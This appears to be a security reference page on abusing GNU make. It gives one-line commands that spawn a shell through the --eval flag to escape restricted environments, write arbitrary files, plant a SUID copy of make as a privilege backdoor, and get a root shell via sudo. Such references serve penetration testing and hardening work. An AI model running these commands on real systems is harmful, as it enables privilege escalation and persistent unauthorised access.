All these examples only work with GNU
make due to the lack of support of the
--eval flag. The same can be achieved by using a proper
Makefile or by passing the content via stdin using
It can be used to break out from restricted environments by spawning an interactive system shell.
COMMAND='/bin/sh' make -s --eval=$'x:\n\t-'"$COMMAND"
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
Requires a newer GNU
LFILE=file_to_write make -s --eval="\$(file >$LFILE,DATA)" .
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.
sudo sh -c 'cp $(which make) .; chmod +s ./make' COMMAND='/bin/sh -p' ./make -s --eval=$'x:\n\t-'"$COMMAND"
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
COMMAND='/bin/sh' sudo make -s --eval=$'x:\n\t-'"$COMMAND"